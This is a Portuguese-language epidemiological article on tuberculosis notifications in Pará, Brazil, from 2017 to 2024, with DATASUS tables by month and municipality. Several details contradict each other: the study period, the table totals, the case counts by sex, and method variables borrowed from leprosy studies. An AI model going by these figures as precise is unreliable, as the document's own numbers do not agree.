<p class="wp-block-paragraph">Outro dado importante diz respeito às populações vulneráveis, entre as quais houve um aumento vertiginoso variando de 17.442 a 24.710 casos entre 2015 e 2019. Em seguida, observou-se uma queda a partir desse período, totalizando 20.064 casos em 2021. Nesse intervalo, a frequência dos casos de TB por tipo de população vulnerável, entre 2015 e 2021, variou de 5.860 a 6.773 casos em Pessoas Privadas de Liberdade (PPL); de 1.689 a 1.809 em pessoas em situação de rua (PSR); de 335 a 427 em imigrantes; e de 837 a 1.023 em profissionais da saúde (PS) (Brasil, 2022).</p>



<p class="wp-block-paragraph">Altas taxas de mortalidade por TB são fortes indicadores de desigualdade em saúde. Sua proporção está diretamente ligada ao acesso precário aos serviços de saúde, resultando em falhas na adesão ao diagnóstico e tratamento ou no diagnóstico em fases avançadas da doença (Arcêncio <em>et al.,</em> 2022).</p>



<p class="wp-block-paragraph">Os dados do Sistema de Informação de Agravos de Notificação (Sinan) indicam características semelhantes às médias nacionais nos casos de tuberculose no estado do Pará, predominantemente em homens, especialmente na faixa etária entre 20 e 59 anos. Isso está diretamente associado ao estilo de vida, incluindo exposição ao álcool, uso de drogas ilícitas e exposição a doenças sexualmente transmissíveis (SESPA, 2022).</p>



<p class="wp-block-paragraph">A maioria dos casos é registrada em áreas urbanas, especialmente nas regiões metropolitanas, marcadas por disparidades sociais, econômicas e sanitárias. Essas regiões, com aglomeração populacional e falta de estruturas adequadas de moradia, contribuem diretamente e indiretamente para o aparecimento dos casos de TB (Freitas <em>et al.,</em> 2022).</p>



<p class="wp-block-paragraph">Para combater a TB no Brasil, foi proposto o “Plano Nacional pelo Fim da Tuberculose como Problema de Saúde Pública”, um documento com metas e estratégias de enfrentamento da doença no país. Ele propõe a redução em 90% do coeficiente de incidência da TB e uma diminuição em 95% do número de mortes pela doença até 2035, em comparação com os dados de 2015. Em termos numéricos para o Brasil, é necessário reduzir o coeficiente de incidência para menos de dez casos por 100 mil habitantes e diminuir a mortalidade pela TB, até 2035, para menos de 230 ao ano (Brasil, 2021).</p>



<p class="wp-block-paragraph">Esse plano reúne os diferentes cenários brasileiros, considerando não apenas os aspectos epidemiológicos e operacionais, mas também as características socioeconômicas. Ele tem como meta apoiar gestores na compreensão das particularidades de seus territórios, visando compreender as singularidades locais no enfrentamento da TB (Brasil, 2022).</p>



<p class="wp-block-paragraph">A importância deste trabalho diz respeito, sobretudo, às temáticas da prevenção, promoção, monitoramento e controle da TB no estado do Pará. Visando identificar a distribuição demográfica dos casos diagnosticados nas microrregiões e analisar a série temporal de 2020 a 2024. Identificar as microrregiões com maiores taxas de incidência é essencial, assim como identificar os principais grupos de risco e avaliar a eficácia das medidas de intervenção. Isso permite ajustes nas estratégias de controle, visando maior cobertura e direcionamento para o manejo da doença.</p>



<p class="wp-block-paragraph">Diante desse cenário, o estudo se justifica pela necessidade de compreender, de forma detalhada, o comportamento epidemiológico da tuberculose no Estado do Pará no período de 2020 a 2024, considerando o impacto da pandemia de COVID-19 sobre o diagnóstico, tratamento e acompanhamento dos casos. A análise permitirá identificar tendências, áreas e populações mais vulneráveis, bem como avaliar a efetividade das estratégias já implementadas e subsidiar a formulação de políticas públicas mais eficazes para prevenção, controle e redução da morbimortalidade da doença no estado.</p>



<p class="wp-block-paragraph">Objetivo deste estudo foi descrever a ocorrência Tuberculose nos municípios do estado do Pará no período de 2017 a 2024.</p>



<p class="wp-block-paragraph"><strong>2. METODOLOGIA</strong></p>



<p class="wp-block-paragraph">O estudo foi do tipo epidemiológico descritivo, retrospectivo, com abordagem quantitativa. Tratou-se de um estudo epidemiológico cujo objetivo foi caracterizar padrões, distribuições e tendências da doença na população estudada, sem intervenção direta sobre os participantes (Rouquayrol, 2021).</p>



<p class="wp-block-paragraph">Considerou-se como pesquisa descritiva aquela que teve a finalidade de desenvolver, esclarecer e modificar conceitos e ideias, a partir da formulação de problemas mais precisos ou de hipóteses pesquisáveis, que serviram como subsídios para estudos posteriores (Gil, 2019).</p>



<p class="wp-block-paragraph">Estudos quantitativos frequentemente utilizaram-se de escalas de mensuração de variáveis representativas dos construtos pertinentes ao estudo. Os procedimentos de tradução reversa adotados quando necessário foram descritos no método, ao se tratar das medidas utilizadas, o que conferiu confiabilidade e rigor ao estudo. Além da tradução dos itens, foram empregadas outras técnicas de validação de face do instrumento de pesquisa, como a avaliação por juízes e pesquisadores especializados no tema, para a construção do instrumento (Klotz et al., 2022).</p>



<p class="wp-block-paragraph">O estudo foi realizado por meio da análise de dados disponibilizados pelo Departamento de Informática do Sistema Único de Saúde (DATASUS). Esta plataforma foi reconhecida por sua abrangência e confiabilidade na coleta e no armazenamento de informações relacionadas à saúde pública no Brasil.</p>



<p class="wp-block-paragraph">A fonte primária de dados foi o Sistema de Informação de Agravos de Notificação (SINAN), que registrou os casos notificados de tuberculose em todo o país. Foram extraídos registros referentes ao perfil epidemiológico da tuberculose no Estado do Pará, no período de 2017 a 2024, incluindo informações sociodemográficas, clínicas e laboratoriais. A análise foi conduzida em escala territorial, com atenção especial às diferentes faixas etárias dos pacientes e à distribuição geográfica dos casos no estado.</p>



<p class="wp-block-paragraph">Para os indicadores que não estavam completos no SINAN, como óbitos ou casos curados, foram utilizados dados complementares do Sistema de Informações sobre Mortalidade (SIM) e dos registros de alta hospitalar do SUS, garantindo maior precisão nos cálculos epidemiológicos.</p>



<p class="wp-block-paragraph">Foram incluídos no estudo todos os registros de casos de tuberculose notificados no Sistema de Informação de Agravos de Notificação (SINAN), disponíveis no DATASUS, referentes ao Estado do Pará, no período de 1º de janeiro de 2017 a 31 de dezembro de 2024. Foram considerados elegíveis os casos confirmados de tuberculose, independentemente da forma clínica, envolvendo pacientes de todas as faixas etárias e de ambos os sexos. Incluíram-se ainda apenas os registros que continham as informações mínimas necessárias para a análise epidemiológica, tais como data de notificação, município de residência, faixa etária e sexo.</p>



<p class="wp-block-paragraph">Foram excluídos da base de dados os registros duplicados, os casos notificados fora do período delimitado pelo estudo, bem como aqueles que apresentavam inconsistências ou ausência de informações essenciais que inviabilizassem a análise, como falta de município de residência, data de notificação ou definição da forma clínica. Também foram excluídos os registros provenientes de outros estados ou referentes a pacientes não residentes no Pará, a fim de garantir a fidedignidade da análise territorial proposta.</p>



<p class="wp-block-paragraph">A coleta de dados será realizada a partir do banco público do Departamento de Informática do Sistema Único de Saúde (DATASUS), utilizando os registros do Sistema de Informação de Agravos de Notificação (SINAN) referentes ao Estado do Pará, no período de 1º de janeiro de 2017 a 31 de dezembro de 2024. O acesso às informações ocorrerá por meio da plataforma TABNET/DATASUS, utilizando filtros específicos para tuberculose como agravo de interesse.</p>



<p class="wp-block-paragraph">Serão extraídas variáveis relacionadas a: Ano de notificação; Município de residência; Sexo; Faixa etária e Raça.</p>



<p class="wp-block-paragraph">Os dados foram baixados em formatos compatíveis para análise estatística (CSV ou XLS) e foram organizados em planilhas. Antes do início das análises, foi realizada a depuração do banco de dados, com a exclusão de duplicidades e de registros inconsistentes, conforme os critérios de exclusão previamente estabelecidos.</p>



<p class="wp-block-paragraph">Foram analisadas informações de casos de tuberculose por residência no Estado do Pará entre 2017 e 2024. As variáveis demográficas incluíram faixa etária, cor/raça e escolaridade; o número de casos foi analisado por ano; e os dados clínicos abrangeram classificação operacional, formas clínicas e grau de incapacidade física. Para o cálculo das taxas de detecção, foram utilizados dados populacionais fornecidos pelo Instituto Brasileiro de Geografia e Estatística (IBGE), considerando o censo de 2017 e as estimativas populacionais para os anos de 2017 a 2024.</p>



<p class="wp-block-paragraph">Após a coleta e depuração dos registros provenientes do DATASUS/SINAN, os dados serão organizados e analisados quantitativamente. Para isso, serão utilizados softwares estatísticos apropriados como Microsoft Excel, SPSS ou R — conforme disponibilidade e necessidade das análises. Esses programas permitirão a construção de planilhas estruturadas, aplicação de testes estatísticos, elaboração de gráficos, cálculo de frequências absolutas e relativas, bem como a análise temporal das variáveis epidemiológicas.</p>



<p class="wp-block-paragraph">O presente estudo foi conduzido em conformidade com as normas éticas e legais vigentes no Brasil, especialmente a Resolução nº 466/2012 do Conselho Nacional de Saúde (CNS), que regulamenta pesquisas envolvendo seres humanos, bem como a Lei Geral de Proteção de Dados (LGPD – Lei nº 13.709/2018), que dispõe sobre o tratamento e a proteção de dados pessoais.</p>



<p class="wp-block-paragraph">Como a pesquisa utilizou exclusivamente dados secundários, de caráter público e agregado, extraídos das bases do DATASUS/SINAN, não houve qualquer identificação individual dos pacientes. Todas as informações analisadas encontravam-se de forma anonimizada, garantindo sigilo, confidencialidade e ausência de riscos diretos aos indivíduos.</p>



<p class="wp-block-paragraph">O presente estudo utilizou dados de acesso público e de caráter agregado, provenientes do DATASUS/SINAN, sem identificação de pacientes. Não houve risco físico, psicológico ou social para os participantes, uma vez que todas as informações analisadas estavam desvinculadas de nomes ou documentos de identificação.</p>



<p class="wp-block-paragraph">Além disso, medidas de sigilo e anonimato foram rigorosamente mantidas durante todo o processo de coleta, organização e análise dos dados. Portanto, o estudo não apresentou riscos diretos aos indivíduos, estando em conformidade com as normas éticas e legais vigentes, incluindo a Resolução CNS nº 466/2012 e a LGPD (Lei nº 13.709/2018). O estudo proporcionou conhecimento científico relevante sobre a tuberculose no Estado do Pará, permitindo identificar padrões epidemiológicos, regiões de maior incidência e fatores sociodemográficos associados à doença.</p>



<p class="wp-block-paragraph"><strong>3. RESULTADOS</strong></p>



<p class="wp-block-paragraph">A análise dos dados de tuberculose no Pará entre 2017 e 2024 mostra uma tendência crescente de notificações, passando de 4.543 casos em 2017 para 6.829 em 2024. Esse aumento pode estar relacionado tanto à ampliação da capacidade diagnóstica e vigilância quanto a um possível incremento real da transmissão, influenciada por fatores sociais e estruturais do estado.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 1</strong>: Número total e a média de casos de tuberculose no Estado do Pará no período de 2017 a 2024.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="687" height="435" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-384.png" alt="" class="wp-image-256692" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-384.png 687w, https://revistaft.com.br/wp-content/uploads/2025/12/image-384-300x190.png 300w" sizes="(max-width: 687px) 100vw, 687px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> DATASUS, 2025</p>



<p class="wp-block-paragraph">A análise temporal dos casos de tuberculose notificados no Estado do Pará entre os anos de 2017 e 2024 evidencia a persistência da doença como um importante problema de saúde pública. Apesar dos avanços no diagnóstico e tratamento, observa-se uma tendência geral de crescimento no número de notificações ao longo do período, sugerindo expansão da transmissão comunitária e possíveis desafios relacionados à vigilância ativa, adesão terapêutica e barreiras de acesso aos serviços de saúde.&nbsp;</p>



<p class="wp-block-paragraph">Esse cenário reforça a necessidade de intensificar estratégias integradas de controle, com foco especial na detecção precoce, no acompanhamento sistemático dos casos e na atenção às populações mais vulneráveis. A seguir, apresenta-se a distribuição mensal dos casos notificados de tuberculose no Pará, permitindo observar padrões sazonais e oscilações anuais que auxiliam no planejamento e na tomada de decisão em saúde pública.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1</strong>: Distribuição da tuberculose por por mês de Notificação no Estado do Pará no período de 2017 a 2024</p>



<figure class="wp-block-table has-small-font-size"><table><tbody><tr><td class="has-text-align-center" data-align="center" colspan="11"><strong>Ano da Notificação</strong></td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Mês</strong></td><td><strong>2017</strong></td><td><strong>2018</strong></td><td><strong>2019</strong></td><td><strong>2020</strong></td><td><strong>2021</strong></td><td><strong>2022</strong></td><td><strong>2023</strong></td><td><strong>2024</strong></td><td><strong>Total</strong></td><td><strong>Média</strong></td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Janeiro</strong></td><td>365</td><td>342</td><td>393</td><td>480</td><td>394</td><td>456</td><td>512</td><td>520</td><td>3462</td><td>433</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Fevereiro</strong></td><td>337</td><td>329</td><td>463</td><td>432</td><td>402</td><td>459</td><td>428</td><td>523</td><td>3373</td><td>422</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Março</strong></td><td>432</td><td>367</td><td>443</td><td>463</td><td>415</td><td>519</td><td>576</td><td>555</td><td>3770</td><td>471</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Abril</strong></td><td>354</td><td>417</td><td>472</td><td>360</td><td>417</td><td>485</td><td>514</td><td>676</td><td>3695</td><td>462</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Maio</strong></td><td>438</td><td>402</td><td>557</td><td>337</td><td>437</td><td>583</td><td>510</td><td>615</td><td>3879</td><td><strong>485</strong></td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Junho</strong></td><td>406</td><td>407</td><td>467</td><td>418</td><td>479</td><td>550</td><td>494</td><td>534</td><td>3755</td><td>469</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Julho</strong></td><td>343</td><td>417</td><td>509</td><td>433</td><td>468</td><td>434</td><td>525</td><td>589</td><td>3718</td><td>465</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Agosto</strong></td><td>381</td><td>440</td><td>447</td><td>396</td><td>486</td><td>547</td><td>551</td><td>635</td><td>3883</td><td><strong>485</strong></td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Setembro</strong></td><td>396</td><td>399</td><td>499</td><td>422</td><td>486</td><td>495</td><td>518</td><td>585</td><td>3800</td><td><strong>475</strong></td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Outubro</strong></td><td>351</td><td>446</td><td>482</td><td>407</td><td>442</td><td>483</td><td>519</td><td>594</td><td>3724</td><td>466</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Novembro</strong></td><td>398</td><td>416</td><td>424</td><td>432</td><td>468</td><td>462</td><td>531</td><td>505</td><td>3636</td><td>455</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Dezembro</strong></td><td>342</td><td>329</td><td>369</td><td>348</td><td>418</td><td>477</td><td>464</td><td>498</td><td>3245</td><td>406</td></tr><tr><td class="has-text-align-center" data-align="center"><strong>Total</strong></td><td><strong>4543</strong></td><td><strong>4711</strong></td><td><strong>5525</strong></td><td><strong>4928</strong></td><td><strong>5312</strong></td><td><strong>5950</strong></td><td><strong>6142</strong></td><td><strong>6829</strong></td><td><strong>43.940</strong></td><td><strong>5.493</strong></td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> DATASUS, 2025</p>



<p class="wp-block-paragraph">Observa-se também um padrão sazonal importante: os maiores registros de tuberculose no Estado do Pará concentram-se entre os meses de março e outubro, com destaque para março, maio, agosto e setembro, que apresentaram as maiores médias no período analisado. Em contraste, os meses de dezembro, janeiro e fevereiro apresentaram menores notificações, possivelmente influenciadas por variações no funcionamento dos serviços de saúde, períodos festivos, fatores climáticos e menor procura espontânea por atendimento no início e final do ano.</p>



<p class="wp-block-paragraph">O ano de 2020 apresentou leve queda em alguns meses, comportamento compatível com o impacto da pandemia de COVID-19, que reduziu o acesso aos serviços e afetou o diagnóstico oportuno de diversas condições, incluindo a tuberculose. A partir de 2021, verifica-se um movimento de recuperação e posterior crescimento, sugerindo a retomada das ações de vigilância, além de possível acúmulo de casos não detectados durante o período crítico da pandemia.</p>



<p class="wp-block-paragraph">Essa tendência ascendente se intensifica nos anos subsequentes, alcançando 6.829 casos em 2024, o maior valor de toda a série histórica. Esse aumento pode refletir tanto a restauração da capacidade de detecção pelos serviços quanto um crescimento real da incidência, influenciado por determinantes sociais agravados no contexto pós-pandemia, como desemprego, insegurança alimentar, aumento da pobreza e condições habitacionais inadequadas.</p>



<p class="wp-block-paragraph">De maneira geral, o comportamento epidemiológico demonstra que a tuberculose permanece como uma doença de alta relevância no Estado, com trajetória ascendente e necessidade de fortalecimento contínuo das estratégias de vigilância, diagnóstico oportuno e gestão do cuidado, sobretudo em populações socialmente vulneráveis.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 2</strong>: Média mensal de casos da tuberculose no Estado do Pará no período de 2017 a 2024</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="454" height="203" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-385.png" alt="" class="wp-image-256696" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-385.png 454w, https://revistaft.com.br/wp-content/uploads/2025/12/image-385-300x134.png 300w" sizes="(max-width: 454px) 100vw, 454px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> DATASUS, 2025</p>



<p class="wp-block-paragraph">Entre 2017 e 2024, o Pará vivenciou aumento progressivo dos casos de tuberculose, com destaque para Belém e municípios da região metropolitana, responsáveis por mais de 90% das notificações. A expansão recente (2022–2024) indica recrudescimento da transmissão e possível impacto pós-pandemia. Municípios do interior exibem registros irregulares, sugerindo desigualdade no acesso ao diagnóstico e potencial subnotificação.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2</strong>:&nbsp; Ocorrência Tuberculose nos municípios do estado do Pará no período de 2017 a 2024.</p>



<figure class="wp-block-table has-small-font-size"><table><tbody><tr><td rowspan="2"><strong>Município</strong></td><td></td><td></td><td></td><td colspan="6"><strong>Ano da Notificação</strong></td><td></td></tr><tr><td><strong>2017</strong></td><td><strong>2018</strong></td><td><strong>2019</strong></td><td><strong>2020</strong></td><td><strong>2021</strong></td><td><strong>2022</strong></td><td><strong>2023</strong></td><td><strong>2024</strong></td><td><strong>Total</strong></td><td><strong>Média</strong></td></tr><tr><td>Belém</td><td>1.802</td><td>1.734</td><td>1.895</td><td>1.702</td><td>1.866</td><td>1.990</td><td>2.157</td><td>2.589</td><td>15.757</td><td>1.967</td></tr><tr><td>Ananindeua</td><td>333</td><td>410</td><td>505</td><td>453</td><td>429</td><td>468</td><td>506</td><td>502</td><td>3622</td><td>451</td></tr><tr><td>Santa Izabel do Pará</td><td>151</td><td>221</td><td>324</td><td>301</td><td>288</td><td>452</td><td>432</td><td>303</td><td>2474</td><td>309</td></tr><tr><td>Marituba</td><td>138</td><td>200</td><td>393</td><td>187</td><td>179</td><td>168</td><td>195</td><td>213</td><td>1679</td><td>209</td></tr><tr><td>Santarém</td><td>119</td><td>170</td><td>184</td><td>195</td><td>148</td><td>165</td><td>102</td><td>207</td><td>1296</td><td>161</td></tr><tr><td>Castanhal</td><td>124</td><td>131</td><td>154</td><td>125</td><td>118</td><td>166</td><td>147</td><td>172</td><td>1138</td><td>142</td></tr><tr><td>Marabá</td><td>91</td><td>120</td><td>132</td><td>123</td><td>136</td><td>165</td><td>133</td><td>131</td><td>1032</td><td>129</td></tr><tr><td>Bragança</td><td>68</td><td>65</td><td>90</td><td>70</td><td>89</td><td>108</td><td>136</td><td>172</td><td>804</td><td>100</td></tr><tr><td>Parauapebas</td><td>56</td><td>62</td><td>96</td><td>97</td><td>106</td><td>113</td><td>82</td><td>114</td><td>728</td><td>91</td></tr><tr><td>Tucuruí</td><td>65</td><td>70</td><td>68</td><td>82</td><td>74</td><td>70</td><td>84</td><td>109</td><td>627</td><td>78</td></tr><tr><td>Paragominas</td><td>70</td><td>71</td><td>52</td><td>62</td><td>70</td><td>105</td><td>77</td><td>91</td><td>601</td><td>75</td></tr><tr><td>Barcarena</td><td>48</td><td>60</td><td>57</td><td>64</td><td>75</td><td>88</td><td>92</td><td>71</td><td>556</td><td>69</td></tr><tr><td>Abaetetuba</td><td>54</td><td>53</td><td>55</td><td>56</td><td>69</td><td>85</td><td>73</td><td>86</td><td>532</td><td>66</td></tr><tr><td>Cametá</td><td>57</td><td>48</td><td>42</td><td>53</td><td>65</td><td>83</td><td>81</td><td>96</td><td>527</td><td>66</td></tr><tr><td>Outros Municípios</td><td>1236</td><td>1269</td><td>1417</td><td>1326</td><td>1520</td><td>1707</td><td>1827</td><td>1920</td><td>12280</td><td>1528</td></tr><tr><td><strong>Total</strong></td><td><strong>4412</strong></td><td><strong>4684</strong></td><td><strong>5464</strong></td><td><strong>4896</strong></td><td><strong>5232</strong></td><td><strong>5933</strong></td><td><strong>6124</strong></td><td><strong>6776</strong></td><td><strong>43.653</strong></td><td><strong>5.440</strong></td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> DATASUS, 2025</p>



<p class="wp-block-paragraph">A distribuição dos casos de tuberculose entre os municípios do Estado do Pará, entre 2017 e 2024, evidencia uma forte concentração nos grandes centros urbanos, especialmente na Região Metropolitana de Belém (RMB). Belém destaca-se como o principal polo de incidência, acumulando 15.757 notificações no período, com média anual de 1.967 casos. Esse quantitativo expressivo reflete características típicas de metrópoles com elevada densidade populacional, desigualdade social, áreas de habitação precária e circulação intensa de grupos vulneráveis, como população em situação de rua, usuários de substâncias psicoativas e pessoas privadas de liberdade.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, Belém concentra serviços de saúde, hospitais de referência e unidades de vigilância, o que amplia a capacidade de diagnóstico e detecção. A tendência ascendente, especialmente a partir de 2022, culmina em 2024 com o maior número registrado, acompanhando a intensificação das ações de vigilância e o possível aumento real da transmissão.</p>



<p class="wp-block-paragraph">Os demais municípios da Região Metropolitana, Ananindeua, Marituba e Santa Izabel do Pará, também apresentam valores elevados e desempenham papel importante no perfil epidemiológico estadual. Ananindeua registrou 3.622 casos no período, enquanto Santa Izabel do Pará e Marituba contabilizaram 2.474 e 1.679 casos, respectivamente. Essas localidades compartilham características socioeconômicas semelhantes, marcadas por expansão urbana acelerada, precariedade habitacional em algumas áreas e forte deslocamento diário de trabalhadores entre municípios, fatores que favorecem a disseminação da doença. Santa Izabel apresenta picos marcantes em 2019 e 2022, o que pode indicar surtos localizados ou ampliação de busca ativa e diagnóstico no território.</p>



<p class="wp-block-paragraph">No interior do estado, municípios de porte intermediário como Santarém, Castanhal e Marabá também se destacam pela relevância epidemiológica. Esses municípios funcionam como polos de referência regional e apresentam números significativos, com Santarém registrando 1.296 casos, Castanhal 1.138 e Marabá 1.032 entre 2017 e 2024. Apesar de números relativamente menores que os da RMB, esses municípios demonstram tendência de crescimento após 2021, acompanhando o movimento estadual de retomada da vigilância pós-pandemia. A oscilação anual indica que esses territórios possuem dinâmicas populacionais e socioeconômicas próprias que influenciam a transmissão da tuberculose.</p>



<p class="wp-block-paragraph">Municípios de médio porte como Bragança, Parauapebas, Tucuruí, Paragominas, Barcarena, Abaetetuba e Cametá apresentam médias anuais de 60 a 100 casos, compondo o grupo de endemia estável, porém com crescimento acentuado a partir de 2021. Em alguns deles, como Bragança e Paragominas, o aumento recente pode estar associado à ampliação da cobertura da Atenção Primária à Saúde e ao fortalecimento de ações de vigilância. Já em municípios como Parauapebas e Barcarena, fatores econômicos, migração sazonal e expansão industrial podem contribuir para oscilações na incidência.</p>



<p class="wp-block-paragraph">De forma geral, o comportamento observado segue o padrão já identificado em 2020, quando houve queda das notificações em diversos municípios devido ao impacto da pandemia de COVID-19 nos serviços de saúde. A partir de 2021, verifica-se recuperação progressiva da vigilância, que se intensifica em 2022 e 2023, resultando no expressivo aumento observado em 2024, o maior ano de toda a série histórica municipal.&nbsp;</p>



<p class="wp-block-paragraph">Assim, os resultados da Tabela 2 reforçam que a tuberculose permanece como um agravo prioritário no Pará, exigindo fortalecimento das estratégias de vigilância, intensificação da busca ativa, ampliação do acesso ao diagnóstico, integração entre atenção básica e vigilância epidemiológica e ações específicas para populações e territórios vulneráveis.</p>



<p class="wp-block-paragraph"><strong>4. DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">O estudo epidemiológico de Moraes et al. (2023) mostrou que, entre 2018 e 2022, a Região Metropolitana I (composta por Belém, Ananindeua, Marituba e Benevides) concentrou 46,77% dos casos de tuberculose notificados no Pará. Esse dado confirma a observação de que Belém e municípios próximos apresentam participação desproporcional nas notificações, refletindo tanto uma possível incidência mais alta quanto maior capacidade de diagnóstico e notificação nos centros urbanos. Em contraste, regiões como Marajó I apresentaram baixa proporção de casos (1,46%), o que pode estar relacionado à subnotificação e à desigualdade no acesso ao diagnóstico, considerando a menor cobertura de serviços de saúde, laboratórios e profissionais capacitados em municípios mais remotos (Moraes <em>et al.,</em> 2023).</p>



<p class="wp-block-paragraph">A pandemia de COVID-19 afetou fortemente a vigilância da tuberculose no Brasil. O Boletim Epidemiológico Especial de 2024 do Ministério da Saúde reporta quedas na realização de testes moleculares para TB (TRM-TB) a partir de março de 2020, seguidas por uma redução temporária nas notificações e recuperação nos anos subsequentes. Já o boletim de 2025 indicou “desaceleração desse aumento” de casos em 2024, sugerindo início de controle, embora os dados ainda sejam preliminares. Essa tendência é compatível com a hipótese de “recrudescimento da transmissão”, já que a redução da detecção durante a pandemia pode ter permitido maior disseminação silenciosa da doença (Brasil, 2024).</p>



<p class="wp-block-paragraph">A vigilância epidemiológica da TB no Brasil depende de instrumentos robustos, com protocolos específicos para notificação, investigação de óbitos e da infecção latente, embora a qualidade da notificação seja variável. A identificação de casos somente no momento do óbito evidencia falhas na detecção precoce da doença (Aridja <em>et al.,</em> 2024).</p>



<p class="wp-block-paragraph">A análise dos casos segundo o sexo mostra padrão consistente com a literatura nacional: a TB ocorre predominantemente em homens, mas há crescimento progressivo entre mulheres ao longo do período estudado. Entre 2017 e 2024, os casos masculinos aumentaram de 1.168 para 1.606, enquanto os femininos evoluíram de 653 para 978, indicando não apenas maior vulnerabilidade masculina, mas também crescente exposição feminina a fatores socioambientais e comportamentais (DATASUS, 2025; Brasil, 2024). Além disso, profundas desigualdades raciais são evidenciadas: em 2023, cerca de 60% dos novos casos ocorreram em pessoas pretas e pardas, enquanto a população branca representou pouco mais de 23% dos casos (Brasil, 2025).</p>



<p class="wp-block-paragraph">Estudos sobre infecção por <em>Mycobacterium tuberculosis</em> entre contatos domiciliares sugerem que a probabilidade de infecção varia conforme idade e sexo, com homens adultos apresentando maior prevalência, enquanto o aumento de infecção com a idade é diferente entre mulheres. Isso indica influência de fatores biológicos, comportamentais e de exposição extra-doméstica (Silva <em>et al.,</em> 2021). Fatores ocupacionais, tabagismo, consumo de álcool e menor adesão ao sistema de saúde contribuem para maior incidência em homens, enquanto mulheres apresentam progressão mais lenta, mas aumento expressivo em contextos urbanos e periurbanos (Moraes <em>et al.,</em> 2023).</p>



<p class="wp-block-paragraph">As desigualdades raciais também se refletem nos desfechos do tratamento. Estudos mostram que residentes em municípios com alta segregação racial e econômica têm risco significativamente maior de desfecho desfavorável, incluindo abandono, falha terapêutica ou morte (Hall et al., 2025; Montelo; Rodrigues; Sardinha, 2025). Crises sanitárias, como a COVID-19, agravaram essas desigualdades, aumentando a interrupção de tratamento entre pretos e pardos, dificultando a conclusão terapêutica em grupos vulneráveis (Brasil, 2023).</p>



<p class="wp-block-paragraph">A identificação de grupos mais vulneráveis e a implementação do tratamento de casos confirmados de infecção latente por tuberculose (ILTB) tornaram-se prioridades no controle da doença. No Brasil, embora o tratamento da ILTB esteja contemplado nas recomendações oficiais, sua execução ainda é incipiente. No Pará, observa-se baixa identificação de ILTB em todos os serviços que realizam o exame (Silva <em>et al.,</em> 2024). O Plano Nacional de 2017 visa eliminar a tuberculose como problema de saúde pública até 2035, com metas de redução do coeficiente de incidência para menos de dez casos/100 mil habitantes e do coeficiente de mortalidade para menos de um óbito/100 mil habitantes, baseado em três pilares: prevenção e cuidado integrado centrado no paciente, políticas arrojadas e sistema de apoio, pesquisa e inovação (Silva <em>et al.,</em> 2024).</p>



<p class="wp-block-paragraph">A ILTB acomete indivíduos independentemente de sexo, cor ou idade, mas há maior probabilidade de infecção em pessoas entre 31 e 50 anos, residentes na Região Metropolitana I do Pará. Pessoas vivendo com HIV e contatos de casos de tuberculose constituem os grupos mais acometidos, cada um com distribuição geográfica específica no território paraense (Silva <em>et al.,</em> 2024).</p>



<p class="wp-block-paragraph"><strong>5. CONCLUSÃO</strong></p>



<p class="wp-block-paragraph">O presente estudo evidenciou que, entre 2017 e 2024, a tuberculose no Estado do Pará apresentou distribuição geográfica desigual, com concentração significativa de casos nos municípios da Região Metropolitana I, especialmente Belém, seguido por Ananindeua, Marituba, Benevides e Castanhal. Essa centralização das notificações reflete tanto a maior densidade populacional e a presença de áreas de urbanização acelerada quanto a melhor capacidade de vigilância e diagnóstico instalada nesses centros urbanos. Por outro lado, regiões mais periféricas ou remotas provavelmente apresentam subnotificação, decorrente de limitações de acesso, infraestrutura reduzida e menor disponibilidade de profissionais capacitados, o que reforça as desigualdades estruturais no sistema de saúde.</p>



<p class="wp-block-paragraph">Observou-se ainda uma predominância persistente de casos em homens, embora o aumento progressivo entre mulheres indique crescente exposição aos fatores de risco socioambientais e comportamentais em contextos urbanos e periurbanos. As diferenças segundo sexo, idade e raça/cor reforçam a complexidade da epidemiologia da tuberculose, demonstrando que determinantes sociais e estruturais como pobreza, escolaridade, habitação inadequada e inserção laboral precária interferem diretamente no risco de infecção, na busca por atendimento, no diagnóstico oportuno e nos desfechos clínicos da doença.</p>



<p class="wp-block-paragraph">O impacto da pandemia de COVID-19 foi perceptível ao longo da série, com redução temporária das notificações e dos testes diagnósticos, sugerindo que a interrupção parcial dos serviços de saúde contribuiu para o aumento silencioso da transmissão comunitária. Ademais, verificou-se que desigualdades raciais permanecem como fator relevante na distribuição da doença: pessoas pretas e pardas apresentam maior incidência, maior risco de desfechos desfavoráveis e maior mortalidade, refletindo vulnerabilidades históricas e condições socioeconômicas marcadas por menor acesso a serviços de qualidade, piores condições de vida e maior exposição a fatores de risco.</p>



<p class="wp-block-paragraph">Esses achados reforçam a necessidade de políticas públicas integradas e intersetoriais, capazes de combinar vigilância epidemiológica robusta, ampliação do acesso aos serviços de saúde, fortalecimento da atenção primária e estratégias de prevenção direcionadas às populações mais vulneráveis.&nbsp;</p>



